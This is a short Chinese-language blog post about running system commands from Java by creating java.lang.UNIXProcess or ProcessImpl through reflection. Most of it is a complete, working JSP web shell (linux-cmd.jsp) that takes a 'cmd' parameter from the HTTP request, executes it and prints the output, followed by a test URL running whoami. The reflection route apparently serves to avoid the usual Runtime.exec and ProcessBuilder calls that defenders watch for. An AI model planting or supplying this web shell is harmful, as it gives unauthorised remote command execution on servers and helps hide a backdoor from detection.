0x01 前言

这个姿势最开始还是在博客园看到的,但是不知道为啥子现在文章404了,好在当时把文中的代码备份下来了

ProcessImpl 和 UNIXProcess 本质上可以认为是一个东西
因为最终他们都是调用了 forkAndExec类执行的底层c语言的命令

0x02 反射调用

注意: 这个代码抄的之前博客园的文章的,现在404了,我找不到原文地址

  1. # webapp目录下面新建立一个文件: linux-cmd.jsp
  2. # 文件名: linux-cmd.jsp
  3. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  4. <%@ page import="java.io.*" %>
  5. <%@ page import="java.lang.reflect.Constructor" %>
  6. <%@ page import="java.lang.reflect.Method" %>
  7. <%
  8. String[] str = request.getParameterValues("cmd");
  9. if (str != null) {
  10. InputStream in = start(str);
  11. String result = inputStreamToString(in, "UTF-8");
  12. out.println(result);
  13. }
  14. %>
  15. <%!
  16. public InputStream start(String[] strs) throws Exception {
  17. assert strs != null && strs.length > 0;
  18. String UNIXProcessClass = "java.lang.UNIXProcess";
  19. String ProcessImplClass = "java.lang.ProcessImpl";
  20. // 反射创建UNIXProcess或者ProcessImpl
  21. Class clazz = null;
  22. try {
  23. clazz = Class.forName(UNIXProcessClass);
  24. } catch (ClassNotFoundException e) {
  25. clazz = Class.forName(ProcessImplClass);
  26. }
  27. // 获取UNIXProcess或者ProcessImpl的构造方法
  28. Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
  29. constructor.setAccessible(true);
  30. byte[][] args = new byte[strs.length - 1][];
  31. int size = args.length;
  32. for (int i = 0; i < args.length; i++) {
  33. args[i] = strs[i + 1].getBytes();
  34. size += args[i].length;
  35. }
  36. byte[] argBlock = new byte[size];
  37. int i = 0;
  38. for (byte[] arg : args) {
  39. System.arraycopy(arg, 0, argBlock, i, arg.length);
  40. i += arg.length + 1;
  41. }
  42. int[] envc = new int[1];
  43. int[] std_fds = new int[]{-1, -1, -1};
  44. FileInputStream f0 = null;
  45. FileOutputStream f1 = null;
  46. FileOutputStream f2 = null;
  47. try {
  48. if (f0 != null) {
  49. f0.close();
  50. }
  51. } finally {
  52. try {
  53. if (f1 != null) {
  54. f1.close();
  55. }
  56. } finally {
  57. if (f2 != null) {
  58. f2.close();
  59. }
  60. }
  61. }
  62. // 创建UNIXProcess或者ProcessImpl实例
  63. Object object = constructor.newInstance(
  64. toCString(strs[0]), argBlock, args.length,
  65. null, envc[0], null, std_fds, false
  66. );
  67. // 获取命令执行的InputStream
  68. Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
  69. inMethod.setAccessible(true);
  70. return (InputStream) inMethod.invoke(object);
  71. }
  72. %>
  73. <%!
  74. private byte[] toCString(String s) {
  75. if (s == null) {
  76. return null;
  77. }
  78. byte[] bytes = s.getBytes();
  79. byte[] result = new byte[bytes.length + 1];
  80. System.arraycopy(bytes, 0, result, 0, bytes.length);
  81. result[result.length - 1] = (byte) 0;
  82. return result;
  83. }
  84. private String inputStreamToString(InputStream in, String charset) throws IOException {
  85. try {
  86. if (charset == null) {
  87. charset = "UTF-8";
  88. }
  89. ByteArrayOutputStream out = new ByteArrayOutputStream();
  90. int a = 0;
  91. byte[] b = new byte[1024];
  92. while ((a = in.read(b)) != -1) {
  93. out.write(b, 0, a);
  94. }
  95. return new String(out.toByteArray());
  96. } catch (IOException e) {
  97. throw e;
  98. } finally {
  99. if (in != null) {
  100. in.close();
  101. }
  102. }
  103. }
  104. %>
  1. 访问url: http://127.0.0.1:8081/mavenJspTest_war/linux-cmd.jsp?cmd=whoami

image.png